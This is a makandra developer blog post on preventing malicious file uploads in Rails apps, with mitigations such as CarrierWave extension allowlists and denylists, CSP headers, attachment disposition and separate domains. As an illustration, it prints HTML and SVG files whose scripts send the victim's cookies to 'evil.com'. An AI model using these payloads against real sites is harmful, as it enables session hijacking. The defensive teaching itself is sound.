Read more

Preventing users from uploading malicious content

Henning Koch
June 09, 2023Software engineer at makandra GmbH

When you allow file uploads in your app, a user might upload content that hurts other users.

Illustration UI/UX Design

UI/UX Design by makandra brand

We make sure that your target audience has the best possible experience with your digital product. You get:

  • Design tailored to your audience
  • Proven processes customized to your needs
  • An expert team of experienced designers
Read more Show archive.org snapshot

Our primary concern here is users uploading .html or .svg files that can run JavaScript and possibly hijack another user's session.

A secondary concern is that malicious users can upload executables (like an .exe or .scr file) and use your server to distribute it. However, modern operating systems usually warn before executing files that were downloaded from the internet.

Attack example: Hijacking sessions with uploaded HTML or SVG files

You run an app myapp.com. The attacker runs an app evil.com.

The attacker uploads a HTML file to your app:

https://myapp.com/uploads/437fa68743bac124/file.html

The file has a content like this:

<html>
  <body>
    <script>
      img = document.createElement('img')
      img.src = 'https://evil.com/capture?cookie=' + encodeURIComponent(document.cookie)
      document.body.appendChild(img)
    </script>
  </body>
</html>      

The attacker now gets another user of myapp.com to access the URL with the upload above. The victim accesses the URL, since it comes from a trusted hostname. The attack now succeeds:

  • The HTML opens in another tab on the victims' browser.
  • The victim's browser runs the <script> element in the HTML.
  • The victim's cookies are sent to evil.com.
  • The attacker can use the captured cookies to hijack the victim's session on myapp.com.

You can do the same with an SVG file:

<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
  <![CDATA[
    image = document.createElement('image')
    image.src = 'https://evil.com/capture?cookie=' + encodeURIComponent(document.cookie)
    document.documentElement.appendChild(image)
  ]]>
  </script>    
</svg>

Mitigation: Validating file extensions

A good mitigation against the upload of malicious content is to validate the extension of uploaded files. Below you can find instructions for validating extensions in some popular uploader libraries.

Checking existing data

If you're working on an existing app, check existing data for the extensions you need to support. You don't want to make existing records invalid.

You can usually review existing upload filenames using a single SQL query. In CarrierWave and Paperclip the filenames of all uploads will usually sit in a column like this:

SELECT avatar FROM users;

Validating in CarrierWave 2.2 or newer

If your uploaders all inherit from a common base class, you can use it to exclude some known dangerous file extensions across all uploaders:

class ApplicationUploader < CarrierWave::Uploader::Base

  def extension_denylist
    # Matching is case insensitive
    %w[html htm xhtml svg exe vbs com msi scr]
  end

end

This may be a quick fix for an existing app. It also ensures that future uploaders get safe-ish defaults when the developer forgets to define an allowlist for concrete uploaders (see below).

Now go through your concrete uploader classes and only allow a known list of file extensions:

class AvatarUploader < ApplicationUploader
  ...

  def extension_allowlist
    # Matching is case insensitive
    %w[png]
  end
end

Validating in CarrierWave 2.2.0 or older

You can use the instructions above, but some methods have been renamed:

CarrierWave 2.2+ CarrierWave 2.1- CarrierWave < 0.11
extension_allowlist extension_whitelist extension_white_list
extension_denylist extension_blacklist -

Validating in Paperclip

In Paperclip you can use the validates_attachment_file_name macro to test the suffix of a filename:

class User < ActiveRecord::Base
  has_attached_file :avatar
  validates_attachment_file_name :avatar, matches: [/\.png\z/i]
end  

Validate file extensions, not content type

Your validation should not rely on the content type (mime type) of the upload request. This can Show archive.org snapshot be spoofed Show archive.org snapshot . When the user later accesses a file upload via an URL, the server will choose a Content-Type header based on the file's extension, regardless of what you have validated before.

Some upload libraries that allow validation of content types address this issue by ignoring the Content-Type in the request header. Instead the content type is derived from the file extension on the server. You will need to check the code of your upload library to be sure. For example, Paperclip only fixed this in version 4.0+.

Mitigation: Send an empty CSP

If you cannot practically validate file extensions, consider configuring your server to send a different CSP Show archive.org snapshot header for the folder that hosts user uploads. That CSP should forbid inline scripts and other external resources:

Content-Security-Policy: default-src 'none'

If you want to allow external resources on your own site, but not allow scripts, you can also go with this more relaxed CSP:

Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'

While this does not fix users uploading executables etc., this does prevent the attack example with simple HTML files or SVG images.

Important

The CSP rules must be configured in the web server that delivers both your app and your static files. Any rules you have configured in your app code might not be sent, as the user upload is probably a static file (in public/uploads or similiar) and is not rendered by your app.

Empty CSPs with send_file

If you use send_file Show archive.org snapshot from a Rails controller, you can send potentially dangerous files with an inline disposition iff you also send a strict CSP rule:

response['Content-Security-Policy'] = "default-src 'none'"
send_file svg_attachment.path, disposition: :inline

Mitigation: Deliver attachments with an attachment disposition

If you cannot practically validate file extensions, consider configuring your server to send a files in your upload folder as attachment. This will cause the browser to download files (and not show them in a tab, which would execute active content):

Content-Disposition: attachment

If you use send_file Show archive.org snapshot from a Rails controller, the default disposition is attachment. You can also set it explicitly:

send_file @attachment.path, disposition: :attachment

Mitigation: Restrict auto-detection of mime types

If you cannot practically validate file extensions, consider restricting the auto-detection of mime types in the web server that delivers static files.

  • If file extension is a popular image or document format: Auto-detect mime type from extension
  • Else send application/octet-stream (to trigger a download and not show the resource in a browser tab).

Note that if you send files from a rails controller you must set the content type explicitly:

send_file @attachment.path, type: 'application/octet-stream'

On makandra servers

You don't have to configure a general denylist on makandra servers, as our loadbalancer will only accept a allowlist of MIME types.

Alternative: Deliver attachments on a different domain

When you deliver attachments using a different hostname, they will not share cookies with your app.

Remember to block attachment paths on your original app domains.

Henning Koch
June 09, 2023Software engineer at makandra GmbH
Posted by Henning Koch to makandra dev (2023-06-09 10:32)